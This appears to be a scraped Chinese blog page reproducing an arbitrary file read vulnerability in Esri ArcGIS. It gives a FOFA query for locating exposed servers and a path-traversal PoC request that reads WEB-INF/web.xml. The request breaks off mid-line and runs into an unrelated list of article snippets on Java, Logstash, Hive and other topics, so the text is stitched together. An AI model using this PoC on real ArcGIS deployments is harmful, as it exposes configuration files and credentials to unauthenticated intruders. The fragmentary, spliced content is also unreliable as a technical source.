ArcGIS 地理信息系统 任意文件读取漏洞复现
0x01 产品简介
ArcGIS是由美国Esri公司研发的地理信息系统（GIS）软件，它整合了数据库、软件工程、人工智能、网络技术、云计算等主流的IT技术，旨在为用户提供一套完整的、开放的企业级GIS解决方案，它包含了一套带有用户界面组件的Windows桌面应用。可以实现从简单到复杂的地理信息系统(GIS)任务，如制图、地理分析、数据编辑、数据管理、可视化和空间处理等。
0x02 漏洞概述
ArcGIS地理信息系统 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 复现环境
FOFA：app="esri-ArcGIS"
0x04 漏洞复现
PoC
GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.0
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.相关文章：
ArcGIS 地理信息系统 任意文件读取漏洞复现
0x01 产品简介 ArcGIS是由美国Esri公司研发的地理信息系统（GIS）软件，它整合了数据库、软件工程、人工智能、网络技术、云计算等主流的IT技术，旨在为用户提供一套完整的、开放的企业级GIS解决方案，它包含了一套带有用户界面组件的Windows桌面应用。可以实现从简单到复杂的…...
11.07学习
一、三中代码解决鸡兔同笼问题 1.直接解方程 #include <stdio.h> int main() { int heads, feet, chickens, rabbits; printf("请输入总头数："); scanf("%d", &heads); printf("请输入总脚数："); scanf(…...
【JavaEE】常见锁策略、CAS
目录 常见的锁策略 乐观锁 vs 悲观锁 重量级锁 vs 轻量级锁 自锁锁和挂起等待锁 读写锁 可重入锁 vs 不可重入锁 公平锁 vs 非公平锁 CAS ABA问题 synchronized几个重要的机制 1、锁升级 2、锁消除 3、锁粗化 常见的锁策略 乐观锁 vs 悲观锁 乐观锁和悲观锁是锁的…...
Logstash 安装与部署（无坑版）
下载 版本对照关系：ElasticSearch 7.9.2 和 Logstash 7.9.2 ； 官方下载地址 选择ElasticSearch版本一致的Logstash版本 https://www.elastic.co/cn/downloads/logstash 下载链接：https://artifacts.elastic.co/downloads/logstash/logst…...
鸿蒙开发：ArkUI Toggle 组件
ArkUI提供了一套完整的UI开发工具集，帮助开发者高效完成页面的开发。它融合了语言、编译器、图形构建等关键的应用UI开发底座，为应用的UI开发提供了完整的基础设施，包括简洁的UI语法、丰富的UI功能以及实时界面预览工具等，可以支持…...
使用Matlab神经网络工具箱
综述 在大数据和人工智能时代，神经网络是一种最为常见的数据分析和拟合工具。本报告以常用分析软件Matlab为例，介绍其中神经网络工具箱使用方法。 Step 1: 打开matlab 安装matlab 2018以上版本后，双击图标打开。 Step 2: 打开神经网络拟合…...
【面试题】Hive 查询：如何查找用户连续三天登录的记录
1. 需求概述 在分析用户行为时，查询用户的连续登录数据是一个常见需求。例如，我们需要找出每个用户连续三天登录的记录。给定一个包含用户登录记录的表，我们需要对这些数据进行处理，提取出用户连续三天登录的日期。 2. 问题说明…...
高活跃社区 Doge 与零知识证明的强强联手，QED 重塑可扩展性
在 Web3 的广阔生态中，Doge 无疑是最具标志性和趣味性的项目之一。作为一种起源于网络文化的符号，Doge 从最初的互联网玩笑发展为如今备受全球关注的去中心化资产，依靠其独特的魅力和广泛的用户基础，构建了一个充满活力的社区。 …...
qt QAbstractTableModel详解
1、概述 QAbstractTableModel 是 Qt 框架中的一个类，用于在 Qt 应用程序中实现自定义的表格数据模型。它是 Qt 中的一个抽象基类，提供了创建和操作表格数据所需的接口。QAbstractTableModel 为模型提供了一个标准接口，这些模型将其数据表示为…...
掌握 Navicat 数据库结构设计 | 提升工作效率的秘诀
近期，我们介绍了 Navicat 17 的一系列的新特性，包括：兼容更多数据库、全新的模型设计、可视化 BI、智能数据分析、可视化查询解释、高质量数据字典、增强用户体验、扩展 MongoDB 功能、轻松固定查询结果、便捷 URI、支持更多平台等。今天&…...
Ollama AI 框架缺陷可能导致 DoS、模型盗窃和中毒
近日，东方联盟网络安全研究人员披露了 Ollama 人工智能 (AI) 框架中的六个安全漏洞，恶意行为者可能会利用这些漏洞执行各种操作，包括拒绝服务、模型中毒和模型盗窃。 知名网络安全专家、东方联盟创始人郭盛华表示：“总的来说&…...
vue 3：监听器
目录 1. 基本概念 2. 侦听数据源类型 1. 监听getter函数 2. 监听 ref 或 reactive 的引用 3. 多个来源组成的数组 4. 避免直接传递值！！！ 3. 深层侦听器 4. 立即回调的侦听器 5. 一次性侦听器 6. watchEffect() 7. 暂停、恢复和停止…...
Java学习路线：Maven（四）Maven常用命令
在IDEA的Maven模块中，可以看到每个项目都有一个生命周期 这些生命周期实际上是Maven的一些插件，每个插件都有各自的功能，而双击这些插件就可以执行命令 这些命令的功能如下： clean：清除整个 target文件夹，…...
服务器数据恢复—分区结构被破坏的reiserfs文件系统数据恢复案例
服务器数据恢复环境： 一台服务器中有一组由4块SAS硬盘组建的RAID5阵列，上层安装linux操作系统统。分区结构：boot分区LVM卷swap分区（按照顺序），LVM卷中划分了一个reiserfs文件系统作为根分区。 服务器故障…...
lua入门教程：type函数
在Lua中，type 函数是一个内置函数，用于返回给定值的类型。Lua 支持多种数据类型，包括 nil（空值）、boolean（布尔值）、number（数字）、string（字符串）…...
Java图片转word
该方法可以控制一页是否只显示存放一张图片 第一步 <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>5.2.3</version></dependency><dependency><groupId>org.apache…...
立体视觉的核心技术：视差计算与图像校正详解
立体视觉的核心技术：视差计算与图像校正详解 在立体视觉中，通过双目相机（即左右两台相机）的不同视角捕获的图像，结合几何关系，我们可以推算出场景中物体的深度。本文将深入讲解如何基于视差（di…...
PaddleNLP的FAQ问答机器人
项目源码获取方式见文章末尾！ 600多个深度学习项目资料，快来加入社群一起学习吧。 《------往期经典推荐------》 项目名称 1.【DDRNet模型创新实现人像分割】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实…...
2024年12月中国多场国际学术会议，EI检索录用！
2024年12月，多场国际学术会议将在中国多地召开，涵盖AI、机器人、大数据、网络安全、传感制造、环境工程、物联网等领域，促进学术交流，录用论文将EI检索，诚邀国内外专家参会。 第三届人工智能、人机交互和机器人国际学…...
日语学习的难易程度
日语学习的难易程度是一个相对主观的问题，它受到多种因素的影响，包括个人的语言学习能力、学习方法、学习时间、学习资源的可获得性以及个人对日语文化的兴趣和投入程度等。以下是对日语学习难易程度的一些分析： 优点与易学之处 文字系统&am…...
状态机中的人物状态
一，人物惯性移动using System.Collections; using System.Collections.Generic; using UnityEngine;public class CharMove3 : MonoBehaviour {public Transform charTrans; //角色坐标public Vector3 currentVelocity; //当前速度public float maxSpeed; //最大速率…...
OpenClaw压力测试：千问3.5-9B持续运行24小时稳定性
OpenClaw压力测试：千问3.5-9B持续运行24小时稳定性 1. 为什么需要压力测试？ 上周我在本地部署了OpenClaw千问3.5-9B组合，想用它自动处理一些日常文档整理工作。最初几小时运行很顺畅，但第二天早上发现系统卡死了——这让我意识到…...
Python智能自动化：JianYingApi赋能视频处理新范式
Python智能自动化：JianYingApi赋能视频处理新范式 【免费下载链接】JianYingApi Third Party JianYing Api. 第三方剪映Api 项目地址: https://gitcode.com/gh_mirrors/ji/JianYingApi 在数字内容创作领域，视频处理的智能化与自动化已成为提升效率…...
MCP + A2A：正在重塑 AI 世界的两个关键协议
MCP A2A：正在重塑 AI 世界的两个关键协议 2026年，AI 智能体（Agent）的竞争已经从"谁的模型更强"，转向了"谁的智能体更能协作"。而支撑这场协作革命的底层基础设施，正是两个看似低调却极…...
从平台束缚到自由聆听：ncmdump如何让加密音乐重获新生？
从平台束缚到自由聆听：ncmdump如何让加密音乐重获新生？ 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 你是否曾经遇到过这样的困境？在某个音乐平台精心收藏的歌单，却无法在车载音响上…...
2026届毕业生推荐的十大降重复率助手实际效果
Ai论文网站排名（开题报告、文献综述、降aigc率、降重综合对比） TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 人工智能技术于学术写作领域的运用愈发广泛，其助力论文撰写的本领已获实证&#…...
【游戏引擎之路】极速狂飙（一）：5天打造跨平台Galgame播放器《Galplayer》——从脚本解析到电影式体验
1. 极速开发背后的技术选型 开发《Galplayer》最疯狂的地方在于，我只用了5天就完成了从零到可运行版本的开发。这听起来像天方夜谭，但合理的工具链选择让这一切成为可能。我选择了WPFPythonUnity这个"三件套"组合，每个工具都发挥了…...
Go语言中的字符串处理
Go语言中的字符串处理 1. 字符串的基本概念 在Go语言中，字符串是一种不可变的字节序列，使用UTF-8编码。字符串的类型为string，是Go语言的基本类型之一。 package mainimport "fmt"func main() {// 字符串字面量s1 : "Hello, W…...
如何查看浏览器中当前存储的 Cookie？
如何查看浏览器中的 Cookie？为什么有些 Cookie 看不到？1. 引言：快递单号与隐私信封2. Cookie 是什么？（小白必备）3. 核心问题：为什么有些 Cookie“看不到”？4. 如何查看 Cookie&#…...
Windows环境下Android应用的跨平台解决方案：高效部署与管理指南
Windows环境下Android应用的跨平台解决方案：高效部署与管理指南 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在Windows环境中部署Android应用通常面临模…...